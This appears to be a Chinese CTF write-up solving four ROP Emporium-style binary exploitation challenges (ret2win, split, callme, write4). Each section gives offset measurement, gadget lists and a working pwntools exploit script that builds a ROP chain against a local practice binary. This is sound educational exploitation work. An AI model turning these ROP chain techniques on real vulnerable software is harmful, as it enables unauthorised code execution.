• ret2win
    checksec一下
    gdb调试一下测算溢出长度
    丢进ida发现ret2win函数
    编写exp即可打通得到ROPE{a_placeholder_32byte_flag!}:
from pwn import *

io=process('./ret2win')
payload=cyclic(0x28)+p64(0x400756)
io.recv()
io.sendline(payload)
io.interactive()



  • split
    checksec与上题同,64位小端序;
    gdb测出溢出长度为0x20+0x8
    本题无直接可利用函数,考虑构造,由于存在system()函数,所以只需要/bin/cat flag.txt 作为参数传入函数,本题为64位程序,则需考虑64位传参问题,x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,则需要pop rdi ; ret;
    使用ROPgadget --binary split --only "pop|ret"查找所需gadgets
    编写exp即可打通得到ROPE{a_placeholder_32byte_flag!}:
from pwn import *

elf=ELF('./split')
io=process('./split')
bin_addr=next(elf.search(b'/bin/cat flag.txt'))
sys_addr=elf.plt["system"]
rdi_addr=0x4007c3
payload=cyclic(0x28)+p64(rdi_addr)+p64(bin_addr)+p64(sys_addr)
io.recv()
io.sendline(payload)
io.interactive()



  • callme
    这道题保护措施同上,但是根据这道题的注意事项需要按顺序分别调用3个函数,且需要填入指定参数
    则根据64位程序传参,前六个参数是按从左到右顺序传入寄存器,后面的按照从右到左的顺序压入栈中,则此题传参时call_xxx函数从左到右即可
    测出溢出长度0x28,同理寻找gadget,分别是pop_rdi_retpop_rsi_rdx_ret,然后压入对应3个参数
    编写exp最开始出错

    调试一波发现是expflat()里面的参数0x***前加了b''使用了强制类型转换,而flat本身最后就是转换为bytes,则不需要加b'',完整exp如下
from pwn import *

context.log_level = 'debug'
context.arch='amd64'
context.os='linux'
context.terminal = ['tmux','splitw','-h']

elf=ELF("./callme")
io=process("./callme")
rdi_ret_addr=0x4009a3
rsi_rdx_ret_addr=0x40093d
call1_addr=elf.symbols["callme_one"]
call2_addr=elf.symbols["callme_two"]
call3_addr=elf.symbols["callme_three"]
#1
payload=cyclic(0x28)+flat(rdi_ret_addr,0xdeadbeefdeadbeef,rsi_rdx_ret_addr,0xcafebabecafebabe,0xd00df00dd00df00d,call1_addr)
#2
payload += flat(rdi_ret_addr,0xdeadbeefdeadbeef,rsi_rdx_ret_addr,0xcafebabecafebabe,0xd00df00dd00df00d,call2_addr)
#3
payload += flat(rdi_ret_addr,0xdeadbeefdeadbeef,rsi_rdx_ret_addr,0xcafebabecafebabe,0xd00df00dd00df00d,call3_addr)
#本地环境问题需加上ret_addr
# ret_addr=0x4006be
# payload += p64(ret_addr) //更换环境后不需要加上ret_addr了
io.recvuntil(b'>')
io.sendline(payload)
# gdb.attach(io)
# pause()
io.interactive()



  • write4
    此题保护措施同上,在ida里面发现没有常见的system()/bin/sh,但是却有一个printf_file函数,本题提供的libc.so文件中含有system函数,但需要自行构建参数,vmmap查看可写段

    在ida中也可以找到.bss段,对应vmmap中地址可知此处可写

    那么向该段写入需要gadgets,ROPgadget找一下
# Gadgets information
# ============================================================
# 0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
# 0x0000000000400629 : mov dword ptr [rsi], edi ; ret
# 0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
# 0x0000000000400628 : mov qword ptr [r14], r15 ; ret
# 0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400690 : pop r14 ; pop r15 ; ret
# 0x0000000000400692 : pop r15 ; ret
# 0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400588 : pop rbp ; ret
# 0x0000000000400693 : pop rdi ; ret
# 0x0000000000400691 : pop rsi ; pop r15 ; ret
# 0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004004e6 : ret

发现可用的,r14存bss段地址,r15存"flag.txt"字符串,接着将r15内容写入r14指向的地址
pop r14 ; pop r15 ; ret
mov qword ptr [r14], r15 ; ret
接着按顺序组装gadgets
其中详细调用如图

第一个ret将pop_r14_r15,此时栈顶更新位bss段地址
则编写exp如下

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal=['tmux','splitw','-h']

elf=ELF("./write4")
io=process("./write4")

func_addr=elf.symbols[b"print_file"]
bss_addr=0x601038
ret_addr=0x4004e6
pop_rdi_addr=0x400693
mov_r14_r15_addr=0x400628
pop_r14_r15_addr=0x400690
payload=cyclic(0x28)+p64(pop_r14_r15_addr)+p64(bss_addr)+b"flag.txt"+p64(mov_r14_r15_addr)

payload+=p64(pop_rdi_addr)+p64(bss_addr)+p64(func_addr)
io.recv()
gdb.attach(io)
pause()
io.sendline(payload)
io.interactive()